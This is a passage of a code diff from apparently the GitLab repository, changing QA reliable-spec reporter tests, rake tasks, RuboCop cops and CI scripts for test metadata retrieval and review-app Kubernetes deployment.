- expect { reporter.show_top_stable }.to output("#{fetch_message}\n\n#{table(rows, title)}\n").to_stdout
- end
+ context "without report creation" do
+ let(:create_issue) { "false" }
- it "sends top stable spec report to slack" do
- slack_args = { icon_emoji: ":mtg_green:", username: "Stable Spec Report" }
+ it "does not create report issue", :aggregate_failures do
+ expect { run }.to output.to_stdout
- expect { reporter.notify_top_stable }.to output("#{fetch_message}\n\n\n#{slack_send_message}\n").to_stdout
- expect(slack_notifier).to have_received(:post).with(text: "*#{title}*", **slack_args)
- expect(slack_notifier).to have_received(:post).with(text: "```#{table(rows)}```", **slack_args)
+ expect(RestClient::Request).not_to have_received(:execute)
+ expect(slack_notifier).not_to have_received(:post)
end
end
- context "with unstable spec report" do
- let(:query) { flux_query(true) }
- let(:fetch_message) { "Fetching data on reliable test execution for past #{range} days in '#{run_type}' runs" }
- let(:slack_send_message) { "Sending top unstable reliable spec report to #{slack_channel} slack channel" }
- let(:title) { "Top #{results} unstable reliable specs for past #{range} days in '#{run_type}' runs" }
- let(:rows) { [[name_column("unstable spec"), 3, 2, "66.67%"]] }
+ context "with report creation" do
+ let(:create_issue) { "true" }
+ let(:issue_body) do
+ <<~TXT.strip
+ [[_TOC_]]
- it "prints top unstable spec report to console" do
- expect { reporter.show_top_unstable }.to output("#{fetch_message}\n\n#{table(rows, title)}\n").to_stdout
- end
+ # Candidates for promotion to reliable
- it "sends top unstable reliable spec report to slack" do
- slack_args = { icon_emoji: ":sadpanda:", username: "Unstable Spec Report" }
+ #{markdown_section([['manage', 1]], [[name_column('stable spec'), 3, 0, '0%']], 'manage', 'stable')}
- expect { reporter.notify_top_unstable }.to output("#{fetch_message}\n\n\n#{slack_send_message}\n").to_stdout
- expect(slack_notifier).to have_received(:post).with(text: "*#{title}*", **slack_args)
- expect(slack_notifier).to have_received(:post).with(text: "```#{table(rows)}```", **slack_args)
+ # Reliable specs with failures
+
+ #{markdown_section([['create', 1]], [[name_column('unstable spec'), 3, 2, '66.67%']], 'create', 'unstable')}
+ TXT
+ end
+
+ it "creates report issue", :aggregate_failures do
+ expect { run }.to output.to_stdout
+
+ expect(RestClient::Request).to have_received(:execute).with(
+ method: :post,
+ url: "gitlab_api_url/projects/278964/issues",
+ verify_ssl: false,
+ headers: { "PRIVATE-TOKEN" => "gitlab_token" },
+ payload: {
+ title: "Reliable spec report",
+ description: issue_body,
+ labels: "Quality,test"
+ }
+ )
+ expect(slack_notifier).to have_received(:post).with(
+ icon_emoji: ":tanuki-protect:",
+ text: <<~TEXT
+ ```#{summary_table([['manage', 1]], 'stable')}```
+ ```#{summary_table([['create', 1]], 'unstable')}```
+
+ #{issue_url}
+ TEXT
+ )
end
end
- context "without unstable reliable specs" do
- let(:query) { flux_query(true) }
- let(:runs) { { 0 => stable_spec } }
- let(:fetch_message) { "Fetching data on reliable test execution for past #{range} days in '#{run_type}' runs" }
- let(:no_result_message) { "No unstable tests present!" }
+ context "with failure" do
+ let(:create_issue) { "true" }
- it "prints no result message to console" do
- expect { reporter.show_top_unstable }.to output("#{fetch_message}\n\n#{no_result_message}\n").to_stdout
+ before do
+ allow(query_api).to receive(:query).and_raise("Connection error!")
end
- it "skips slack notification" do
- expect { reporter.notify_top_unstable }.to output("#{fetch_message}\n\n#{no_result_message}\n").to_stdout
- expect(slack_notifier).not_to have_received(:post)
+ it "notifies failure", :aggregate_failures do
+ expect { expect { run }.to raise_error(SystemExit) }.to output.to_stdout
+
+ expect(slack_notifier).to have_received(:post).with(
+ icon_emoji: ":sadpanda:",
+ text: "Reliable reporter failed to create report. Error: ```Connection error!```"
+ )
end
end
end
diff --git a/qa/tasks/knapsack.rake b/qa/tasks/knapsack.rake
new file mode 100644
index 00000000000..ea15793a457
--- /dev/null
+++ b/qa/tasks/knapsack.rake
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+# rubocop:disable Rails/RakeEnvironment
+
+require_relative "../qa/tools/knapsack_report"
+
+namespace :knapsack do
+ desc "Download latest knapsack report"
+ task :download do
+ QA::Tools::KnapsackReport.download
+ end
+
+ desc "Merge and upload knapsack report"
+ task :upload, [:glob_pattern] do |_task, args|
+ QA::Tools::KnapsackReport.upload(args[:glob_pattern])
+ end
+end
+# rubocop:enable Rails/RakeEnvironment
diff --git a/qa/tasks/reliable_report.rake b/qa/tasks/reliable_report.rake
index 204c959093a..4ec86779704 100644
--- a/qa/tasks/reliable_report.rake
+++ b/qa/tasks/reliable_report.rake
@@ -3,19 +3,8 @@
require_relative "../qa/tools/reliable_report"
-desc "Fetch top most reliable specs"
-task :reliable_spec_report, [:run_type, :range, :create_slack_report] do |_task, args|
- report = QA::Tools::ReliableReport.new(args[:run_type] || "package-and-qa", args[:range])
-
- report.show_top_stable
- report.notify_top_stable if args[:create_slack_report] == 'true'
-end
-
-desc "Fetch top most unstable reliable specs"
-task :unreliable_spec_report, [:run_type, :range, :create_slack_report] do |_task, args|
- report = QA::Tools::ReliableReport.new(args[:run_type] || "package-and-qa", args[:range])
-
- report.show_top_unstable
- report.notify_top_unstable if args[:create_slack_report] == 'true'
+desc "Fetch reliable and unreliable spec data and create report"
+task :reliable_spec_report, [:range, :report_in_issue_and_slack] do |_task, args|
+ QA::Tools::ReliableReport.run(**args)
end
# rubocop:enable Rails/RakeEnvironment
diff --git a/rubocop/code_reuse_helpers.rb b/rubocop/code_reuse_helpers.rb
index 283c43de227..6ea12999cae 100644
--- a/rubocop/code_reuse_helpers.rb
+++ b/rubocop/code_reuse_helpers.rb
@@ -180,5 +180,13 @@ module RuboCop
def rails_root
File.expand_path('..', __dir__)
end
+
+ def ee?
+ File.exist?(File.expand_path('../ee/app/models/license.rb', __dir__)) && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
+ end
+
+ def jh?
+ ee? && Dir.exist?(File.expand_path('../jh', __dir__)) && !%w[true 1].include?(ENV['EE_ONLY'].to_s)
+ end
end
end
diff --git a/rubocop/cop/gitlab/mark_used_feature_flags.rb b/rubocop/cop/gitlab/mark_used_feature_flags.rb
index d3c5cfb827e..4d9fc6148fa 100644
--- a/rubocop/cop/gitlab/mark_used_feature_flags.rb
+++ b/rubocop/cop/gitlab/mark_used_feature_flags.rb
@@ -255,14 +255,12 @@ module RuboCop
]
# For EE additionally process `ee/` feature flags
- is_ee = File.exist?(File.expand_path('../../../ee/app/models/license.rb', __dir__)) && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
- if is_ee
+ if ee?
flags_paths << 'ee/config/feature_flags/**/*.yml'
end
# For JH additionally process `jh/` feature flags
- is_jh = is_ee && Dir.exist?(File.expand_path('../../../jh', __dir__)) && !%w[true 1].include?(ENV['EE_ONLY'].to_s)
- if is_jh
+ if jh?
flags_paths << 'jh/config/feature_flags/**/*.yml'
end
diff --git a/rubocop/cop/graphql/authorize_types.rb b/rubocop/cop/graphql/authorize_types.rb
index 180a1a27a85..c96919343d6 100644
--- a/rubocop/cop/graphql/authorize_types.rb
+++ b/rubocop/cop/graphql/authorize_types.rb
@@ -5,10 +5,10 @@ module RuboCop
module Graphql
class AuthorizeTypes < RuboCop::Cop::Cop
MSG = 'Add an `authorize :ability` call to the type: '\
- 'https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#type-authorization'
+ 'https://docs.gitlab.com/ee/development/graphql_guide/authorization.html#type-authorization'
# We want to exclude our own basetypes and scalars
- ALLOWED_TYPES = %w[BaseEnum BaseScalar BasePermissionType MutationType SubscriptionType
+ ALLOWED_TYPES = %w[BaseEnum BaseEdge BaseScalar BasePermissionType MutationType SubscriptionType
QueryType GraphQL::Schema BaseUnion BaseInputObject].freeze
def_node_search :authorize?, <<~PATTERN
diff --git a/rubocop/cop/graphql/old_types.rb b/rubocop/cop/graphql/old_types.rb
index 2df594c7016..61e8ac92dc7 100644
--- a/rubocop/cop/graphql/old_types.rb
+++ b/rubocop/cop/graphql/old_types.rb
@@ -24,11 +24,12 @@ module RuboCop
MSG_INT = 'Avoid using GraphQL::INT_TYPE. Use GraphQL::Types::Int instead'
MSG_STRING = 'Avoid using GraphQL::STRING_TYPE. Use GraphQL::Types::String instead'
MSG_BOOLEAN = 'Avoid using GraphQL::BOOLEAN_TYPE. Use GraphQL::Types::Boolean instead'
+ MSG_FLOAT = 'Avoid using GraphQL::FLOAT_TYPE. Use GraphQL::Types::Float instead'
def_node_matcher :has_old_type?, <<~PATTERN
(send nil? {:field :argument}
(sym _)
- (const (const nil? :GraphQL) ${:ID_TYPE :INT_TYPE :STRING_TYPE :BOOLEAN_TYPE})
+ (const {(const nil? :GraphQL) (const (cbase) :GraphQL)} ${:ID_TYPE :INT_TYPE :STRING_TYPE :BOOLEAN_TYPE :FLOAT_TYPE})
(...)?)
PATTERN
diff --git a/rubocop/cop/migration/schedule_async.rb b/rubocop/cop/migration/schedule_async.rb
index f296628c3d6..74bd2baffa9 100644
--- a/rubocop/cop/migration/schedule_async.rb
+++ b/rubocop/cop/migration/schedule_async.rb
@@ -46,7 +46,7 @@ module RuboCop
end
def arguments(node)
- node.children[2..-1]
+ node.children[2..]
end
end
end
diff --git a/rubocop/cop/project_path_helper.rb b/rubocop/cop/project_path_helper.rb
index ec3f847faf9..0d12f2d2b12 100644
--- a/rubocop/cop/project_path_helper.rb
+++ b/rubocop/cop/project_path_helper.rb
@@ -46,7 +46,7 @@ module RuboCop
end
def arguments(node)
- node.children[2..-1]
+ node.children[2..]
end
end
end
diff --git a/rubocop/cop/qa/testcase_link_format.rb b/rubocop/cop/qa/testcase_link_format.rb
new file mode 100644
index 00000000000..683098e6eec
--- /dev/null
+++ b/rubocop/cop/qa/testcase_link_format.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require_relative '../../qa_helpers'
+
+module RuboCop
+ module Cop
+ module QA
+ # This cop checks for correct format of testcase links across e2e specs
+ #
+ # @example
+ #
+ # # bad
+ # it 'some test', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/557'
+ # it 'another test, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2455'
+ #
+ # # good
+ # it 'some test', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348312'
+ # it 'another test, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348236'
+ class TestcaseLinkFormat < RuboCop::Cop::Cop
+ include QAHelpers
+
+ TESTCASE_FORMAT = %r{https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/\d+}.freeze
+ MESSAGE = "Testcase link format incorrect. Please link a test case from the GitLab project. See: https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html#link-a-test-to-its-test-case."
+
+ def_node_matcher :testcase_link_format, <<~PATTERN
+ (block
+ (send nil? ...
+ ...
+ (hash
+ (pair
+ (sym :testcase)
+ (str $_))...)...)...)
+ PATTERN
+
+ def on_block(node)
+ return unless in_qa_file?(node)
+
+ testcase_link_format(node) do |link|
+ add_offense(node, message: MESSAGE % link) unless TESTCASE_FORMAT =~ link
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/rubocop/cop/static_translation_definition.rb b/rubocop/cop/static_translation_definition.rb
index ac50fd94884..3475a2b3dca 100644
--- a/rubocop/cop/static_translation_definition.rb
+++ b/rubocop/cop/static_translation_definition.rb
@@ -8,11 +8,15 @@ module RuboCop
TRANSLATION_METHODS = %i[_ s_ n_].freeze
def_node_matcher :translation_method?, <<~PATTERN
- (send _ _ str*)
+ (send _ _ str*)
PATTERN
def_node_matcher :lambda_node?, <<~PATTERN
- (send _ :lambda)
+ (send _ :lambda)
+ PATTERN
+
+ def_node_matcher :struct_constant_assignment?, <<~PATTERN
+ (casgn _ _ `(const _ :Struct))
PATTERN
def on_send(node)
@@ -27,7 +31,7 @@ module RuboCop
receiver, _ = *ancestor
break if lambda_node?(receiver) # translations defined in lambda nodes should be allowed
- if constant_assignment?(ancestor)
+ if constant_assignment?(ancestor) && !struct_constant_assignment?(ancestor)
add_offense(node, location: :expression)
break
diff --git a/scripts/api/get_job_id.rb b/scripts/api/get_job_id.rb
index 166c9198951..2ee769d58f4 100755
--- a/scripts/api/get_job_id.rb
+++ b/scripts/api/get_job_id.rb
@@ -10,6 +10,7 @@ class JobFinder
pipeline_query: {}.freeze,
job_query: {}.freeze
).freeze
+ MAX_PIPELINES_TO_ITERATE = 20
def initialize(options)
@project = options.delete(:project)
@@ -41,25 +42,28 @@ class JobFinder
def find_job_with_artifact
return if artifact_path.nil?
- client.pipelines(project, pipeline_query_params).auto_paginate do |pipeline|
+ client.pipelines(project, pipeline_query_params).paginate_with_limit(MAX_PIPELINES_TO_ITERATE) do |pipeline|
+ $stderr.puts "Iterating over #{pipeline}" # rubocop:disable Style/StderrPuts
client.pipeline_jobs(project, pipeline.id, job_query_params).auto_paginate do |job|
+ next if job_name && !found_job_by_name?(job)
+
return job if found_job_with_artifact?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
end
end
- raise 'Job not found!'
+ warn 'Job not found!'
end
def find_job_with_filtered_pipelines
return if pipeline_query.empty?
- client.pipelines(project, pipeline_query_params).auto_paginate do |pipeline|
+ client.pipelines(project, pipeline_query_params).paginate_with_limit(MAX_PIPELINES_TO_ITERATE) do |pipeline|
client.pipeline_jobs(project, pipeline.id, job_query_params).auto_paginate do |job|
return job if found_job_by_name?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
end
end
- raise 'Job not found!'
+ warn 'Job not found!'
end
def find_job_in_pipeline
@@ -69,7 +73,7 @@ class JobFinder
return job if found_job_by_name?(job) # rubocop:disable Cop/AvoidReturnFromBlocks
end
- raise 'Job not found!'
+ warn 'Job not found!'
end
def found_job_with_artifact?(job)
@@ -83,7 +87,7 @@ class JobFinder
end
def pipeline_query_params
- @pipeline_query_params ||= { per_page: 100, **pipeline_query }
+ @pipeline_query_params ||= { per_page: MAX_PIPELINES_TO_ITERATE, **pipeline_query }
end
def job_query_params
diff --git a/scripts/db_tasks b/scripts/db_tasks
new file mode 100755
index 00000000000..56c2eefef68
--- /dev/null
+++ b/scripts/db_tasks
@@ -0,0 +1,12 @@
+#!/bin/bash
+
+root_path="$(cd "$(dirname "$0")/.." || exit ; pwd -P)"
+task=$1
+
+shift
+
+if [[ -d "${root_path}/ee/" || "${DECOMPOSED_DB}" == "true" ]]; then
+ task="${task}:main"
+fi
+
+eval "bundle exec rake ${task} ${*}"
diff --git a/scripts/frontend/startup_css/get_startup_css.js b/scripts/frontend/startup_css/get_startup_css.js
index 10e8371df8c..2c8c3b4e321 100644
--- a/scripts/frontend/startup_css/get_startup_css.js
+++ b/scripts/frontend/startup_css/get_startup_css.js
@@ -29,7 +29,9 @@ const mergePurgeCSSOptions = (...options) =>
const getStartupCSS = async ({ htmlPaths, cssPaths, purgeOptions }) => {
const content = htmlPaths.map((htmlPath) => {
if (!fs.existsSync(htmlPath)) {
- die(`Could not find fixture "${htmlPath}". Have you run the fixtures?`);
+ die(
+ `Could not find fixture "${htmlPath}". Have you run the fixtures? (bundle exec rspec spec/frontend/fixtures/startup_css.rb)`,
+ );
}
const rawHtml = fs.readFileSync(htmlPath);
diff --git a/scripts/lib/gitlab.rb b/scripts/lib/gitlab.rb
new file mode 100644
index 00000000000..556e2037edf
--- /dev/null
+++ b/scripts/lib/gitlab.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module_function
+
+ def ee?
+ File.exist?(File.expand_path('../../ee/app/models/license.rb', __dir__)) && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
+ end
+
+ def jh?
+ ee? && Dir.exist?(File.expand_path('../../jh', __dir__)) && !%w[true 1].include?(ENV['EE_ONLY'].to_s)
+ end
+end
diff --git a/scripts/review_apps/base-config.yaml b/scripts/review_apps/base-config.yaml
index 7bb9c010016..0f6603fea8c 100644
--- a/scripts/review_apps/base-config.yaml
+++ b/scripts/review_apps/base-config.yaml
@@ -64,7 +64,7 @@ gitlab:
memory: 2890M
hpa:
targetAverageValue: 650m
- task-runner:
+ toolbox:
resources:
requests:
cpu: 300m
@@ -158,7 +158,7 @@ postgresql:
memory: 1500M
master:
nodeSelector:
- preemptible: "true"
+ preemptible: "false"
prometheus:
install: false
redis:
diff --git a/scripts/review_apps/review-apps.sh b/scripts/review_apps/review-apps.sh
index edb55a83555..695de95b8fc 100755
--- a/scripts/review_apps/review-apps.sh
+++ b/scripts/review_apps/review-apps.sh
@@ -1,5 +1,23 @@
[[ "$TRACE" ]] && set -x
+function namespace_exists() {
+ local namespace="${1}"
+ local namespace_exists
+
+ echoinfo "Checking if ${namespace} exists..." true
+
+ kubectl describe namespace "${namespace}" >/dev/null 2>&1
+ namespace_exists=$?
+
+ if [ $namespace_exists -eq 0 ]; then
+ echoinfo "Namespace ${namespace} found."
+ else
+ echoerr "Namespace ${namespace} NOT found."
+ fi
+
+ return $namespace_exists
+}
+
function deploy_exists() {
local namespace="${1}"
local release="${2}"
@@ -73,17 +91,20 @@ function delete_failed_release() {
# Cleanup and previous installs, as FAILED and PENDING_UPGRADE will cause errors with `upgrade`
if previous_deploy_failed "${namespace}" "${release}" ; then
echoinfo "Review App deployment in bad state, cleaning up namespace ${release}"
- delete_k8s_release_namespace
+ delete_namespace
else
echoinfo "Review App deployment in good state"
fi
fi
}
-function delete_k8s_release_namespace() {
+function delete_namespace() {
local namespace="${CI_ENVIRONMENT_SLUG}"
- kubectl delete namespace "${namespace}" --wait
+ if namespace_exists "${namespace}"; then
+ echoinfo "Deleting namespace ${namespace}..." true
+ kubectl delete namespace "${namespace}" --wait
+ fi
}
function get_pod() {
@@ -120,9 +141,9 @@ function get_pod() {
function run_task() {
local namespace="${CI_ENVIRONMENT_SLUG}"
local ruby_cmd="${1}"
- local task_runner_pod=$(get_pod "task-runner")
+ local toolbox_pod=$(get_pod "toolbox")
- kubectl exec --namespace "${namespace}" "${task_runner_pod}" -- gitlab-rails runner "${ruby_cmd}"
+ kubectl exec --namespace "${namespace}" "${toolbox_pod}" -- gitlab-rails runner "${ruby_cmd}"
}
function disable_sign_ups() {
@@ -147,6 +168,13 @@ function disable_sign_ups() {
fi
}
+function create_sample_projects() {
+ local create_sample_projects_rb="root_user = User.find_by_username('root'); 1.times { |i| params = { namespace_id: root_user.namespace.id, name: 'sample-project' + i.to_s, path: 'sample-project' + i.to_s, template_name: 'sample' }; ::Projects::CreateFromTemplateService.new(root_user, params).execute }"
+
+ # Queue jobs to create sample projects for root user namespace from sample data project template
+ retry "run_task \"${create_sample_projects_rb}\""
+}
+
function check_kube_domain() {
echoinfo "Checking that Kube domain exists..." true
@@ -163,9 +191,10 @@ function check_kube_domain() {
function ensure_namespace() {
local namespace="${1}"
- echoinfo "Ensuring the ${namespace} namespace exists..." true
-
- kubectl describe namespace "${namespace}" || kubectl create namespace "${namespace}"
+ if ! namespace_exists "${namespace}"; then
+ echoinfo "Creating namespace ${namespace}..." true
+ kubectl create namespace "${namespace}"
+ fi
}
function label_namespace() {
@@ -256,6 +285,12 @@ function deploy() {
gitaly_image_tag=$(parse_gitaly_image_tag)
gitlab_shell_image_repository="${IMAGE_REPOSITORY}/gitlab-shell"
gitlab_workhorse_image_repository="${IMAGE_REPOSITORY}/gitlab-workhorse-ee"
+ sentry_enabled="false"
+
+ if [ -n ${REVIEW_APPS_SENTRY_DSN} ]; then
+ echo "REVIEW_APPS_SENTRY_DSN detected, enabling Sentry"
+ sentry_enabled="true"
+ fi
ensure_namespace "${namespace}"
label_namespace "${namespace}" "tls=review-apps-tls" # label namespace for kubed to sync tls
@@ -276,6 +311,9 @@ HELM_CMD=$(cat << EOF
--set releaseOverride="${release}" \
--set global.hosts.hostSuffix="${HOST_SUFFIX}" \
--set global.hosts.domain="${REVIEW_APPS_DOMAIN}" \
+ --set global.appConfig.sentry.enabled="${sentry_enabled}" \
+ --set global.appConfig.sentry.dsn="${REVIEW_APPS_SENTRY_DSN}" \
+ --set global.appConfig.sentry.environment="review" \
--set gitlab.migrations.image.repository="${gitlab_toolbox_image_repository}" \
--set gitlab.migrations.image.tag="${CI_COMMIT_REF_SLUG}" \
--set gitlab.gitaly.image.repository="${gitlab_gitaly_image_repository}" \
@@ -290,8 +328,8 @@ HELM_CMD=$(cat << EOF
--set gitlab.webservice.image.tag="${CI_COMMIT_REF_SLUG}" \
--set gitlab.webservice.workhorse.image="${gitlab_workhorse_image_repository}" \
--set gitlab.webservice.workhorse.tag="${CI_COMMIT_REF_SLUG}" \
- --set gitlab.task-runner.image.repository="${gitlab_toolbox_image_repository}" \
- --set gitlab.task-runner.image.tag="${CI_COMMIT_REF_SLUG}"
+ --set gitlab.toolbox.image.repository="${gitlab_toolbox_image_repository}" \
+ --set gitlab.toolbox.image.tag="${CI_COMMIT_REF_SLUG}"
EOF
)
diff --git a/scripts/rspec_bisect_flaky b/scripts/rspec_bisect_flaky
new file mode 100755
index 00000000000..efeb9bcb5a0
--- /dev/null
+++ b/scripts/rspec_bisect_flaky
@@ -0,0 +1,29 @@
+#!/usr/bin/env bash
+
+## Usage: scripts/rspec_bisect_flaky <files...>
+#
+# The files should be listed in order, with the last file being the file where
+# the flaky spec lives.
+
+if [ $# -eq 0 ]; then
+ echo "Usage: scripts/rspec_bisect_flaky <files...>"
+ exit
+fi
+
+files=( $@ )
+len=${#files[@]}
+target=${files[$len-1]}
+
+# Trap interrupts and exit instead of continuing the loop
+trap "echo Exited!; exit 2;" SIGINT SIGTERM
+
+# Show which set of specs are running
+set -x
+
+# Do the speedy case first, run each spec with our failing spec
+for file in "${files[@]}"; do
+ bin/rspec $file $target
+done
+
+# Do a full bisect given we did not find candidates with speedy cases
+bin/rspec --bisect=verbose $@
diff --git a/scripts/rspec_helpers.sh b/scripts/rspec_helpers.sh
index cabd2e6380c..2a6eb91a1f3 100644
--- a/scripts/rspec_helpers.sh
+++ b/scripts/rspec_helpers.sh
@@ -16,19 +16,27 @@ function retrieve_tests_metadata() {
# always target the canonical project here, so the branch must be hardcoded
local project_path="gitlab-org/gitlab"
local artifact_branch="master"
+ local username="gitlab-bot"
+ local job_name="update-tests-metadata"
local test_metadata_job_id
# Ruby
- test_metadata_job_id=$(scripts/api/get_job_id.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" -q "status=success" -q "ref=${artifact_branch}" -q "username=gitlab-bot" -Q "scope=success" --job-name "update-tests-metadata")
-
- if [[ ! -f "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" ]]; then
- scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
- fi
-
- if [[ ! -f "${FLAKY_RSPEC_SUITE_REPORT_PATH}" ]]; then
- # Fixed ID to get the report back to a good state after https://gitlab.com/gitlab-org/gitlab/-/issues/345798 / https://gitlab.com/gitlab-org/gitlab/-/merge_requests/74617
- test_metadata_job_id=1766932099
- scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${FLAKY_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
+ test_metadata_job_id=$(scripts/api/get_job_id.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" -q "status=success" -q "ref=${artifact_branch}" -q "username=${username}" -Q "scope=success" --job-name "${job_name}")
+
+ if [[ -n "${test_metadata_job_id}" ]]; then
+ echo "test_metadata_job_id: ${test_metadata_job_id}"
+
+ if [[ ! -f "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" ]]; then
+ scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
+ fi
+
+ if [[ ! -f "${FLAKY_RSPEC_SUITE_REPORT_PATH}" ]]; then
+ scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${FLAKY_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
+ fi
+ else
+ echo "test_metadata_job_id couldn't be found!"
+ echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
+ echo "{}" > "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
fi
fi
}
@@ -63,18 +71,58 @@ function retrieve_tests_mapping() {
# always target the canonical project here, so the branch must be hardcoded
local project_path="gitlab-org/gitlab"
local artifact_branch="master"
+ local username="gitlab-bot"
+ local job_name="update-tests-metadata"
local test_metadata_with_mapping_job_id
- test_metadata_with_mapping_job_id=$(scripts/api/get_job_id.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" -q "status=success" -q "ref=${artifact_branch}" -q "username=gitlab-bot" -Q "scope=success" --job-name "update-tests-metadata" --artifact-path "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz")
+ test_metadata_with_mapping_job_id=$(scripts/api/get_job_id.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" -q "status=success" -q "ref=${artifact_branch}" -q "username=${username}" -Q "scope=success" --job-name "${job_name}")
- if [[ ! -f "${RSPEC_PACKED_TESTS_MAPPING_PATH}" ]]; then
- (scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_with_mapping_job_id}" --artifact-path "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz" && gzip -d "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz") || echo "{}" > "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
+ if [[ -n "${test_metadata_with_mapping_job_id}" ]]; then
+ echo "test_metadata_with_mapping_job_id: ${test_metadata_with_mapping_job_id}"
+
+ if [[ ! -f "${RSPEC_PACKED_TESTS_MAPPING_PATH}" ]]; then
+ (scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_with_mapping_job_id}" --artifact-path "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz" && gzip -d "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz") || echo "{}" > "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
+ fi
+ else
+ echo "test_metadata_with_mapping_job_id couldn't be found!"
+ echo "{}" > "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
fi
fi
scripts/unpack-test-mapping "${RSPEC_PACKED_TESTS_MAPPING_PATH}" "${RSPEC_TESTS_MAPPING_PATH}"
}
+function retrieve_frontend_fixtures_mapping() {
+ mkdir -p $(dirname "$FRONTEND_FIXTURES_MAPPING_PATH")
+
+ if [[ -n "${RETRIEVE_TESTS_METADATA_FROM_PAGES}" ]]; then
+ if [[ ! -f "${FRONTEND_FIXTURES_MAPPING_PATH}" ]]; then
+ (curl --location -o "${FRONTEND_FIXTURES_MAPPING_PATH}" "https://gitlab-org.gitlab.io/gitlab/${FRONTEND_FIXTURES_MAPPING_PATH}") || echo "{}" > "${FRONTEND_FIXTURES_MAPPING_PATH}"
+ fi
+ else
+ # ${CI_DEFAULT_BRANCH} might not be master in other forks but we want to
+ # always target the canonical project here, so the branch must be hardcoded
+ local project_path="gitlab-org/gitlab"
+ local artifact_branch="master"
+ local username="gitlab-bot"
+ local job_name="generate-frontend-fixtures-mapping"
+ local test_metadata_with_mapping_job_id
+
+ test_metadata_with_mapping_job_id=$(scripts/api/get_job_id.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" -q "ref=${artifact_branch}" -q "username=${username}" -Q "scope=success" --job-name "${job_name}")
+
+ if [[ $? -eq 0 ]] && [[ -n "${test_metadata_with_mapping_job_id}" ]]; then
+ echo "test_metadata_with_mapping_job_id: ${test_metadata_with_mapping_job_id}"
+
+ if [[ ! -f "${FRONTEND_FIXTURES_MAPPING_PATH}" ]]; then
+ (scripts/api/download_job_artifact.rb --endpoint "https://gitlab.com/api/v4" --project "${project_path}" --job-id "${test_metadata_with_mapping_job_id}" --artifact-path "${FRONTEND_FIXTURES_MAPPING_PATH}") || echo "{}" > "${FRONTEND_FIXTURES_MAPPING_PATH}"
+ fi
+ else
+ echo "test_metadata_with_mapping_job_id couldn't be found!"
+ echo "{}" > "${FRONTEND_FIXTURES_MAPPING_PATH}"
+ fi
+ fi
+}
+
function update_tests_mapping() {
if ! crystalball_rspec_data_exists; then
echo "No crystalball rspec data found."
@@ -115,7 +163,7 @@ function rspec_simple_job() {
export NO_KNAPSACK="1"
- bin/rspec -Ispec -rspec_helper --color --format documentation --format RspecJunitFormatter --out junit_rspec.xml ${rspec_opts}
+ eval "bin/rspec -Ispec -rspec_helper --color --format documentation --format RspecJunitFormatter --out junit_rspec.xml ${rspec_opts}"
}
function rspec_db_library_code() {
@@ -258,3 +306,27 @@ function rspec_matched_foss_tests() {
echo "No impacted FOSS rspec tests to run"
fi
}
+
+function generate_frontend_fixtures_mapping() {
+ local pattern=""
+
+ if [[ -d "ee/" ]]; then
+ pattern=",ee/"
+ fi
+
+ if [[ -d "jh/" ]]; then
+ pattern="${pattern},jh/"
+ fi
+
+ if [[ -n "${pattern}" ]]; then
+ pattern="{${pattern}}"
+ fi
+
+ pattern="${pattern}spec/frontend/fixtures/**/*.rb"
+
+ export GENERATE_FRONTEND_FIXTURES_MAPPING="true"
+
+ mkdir -p $(dirname "$FRONTEND_FIXTURES_MAPPING_PATH")
+
+ rspec_simple_job "--pattern \"${pattern}\""
+}
diff --git a/scripts/trigger-build b/scripts/trigger-build
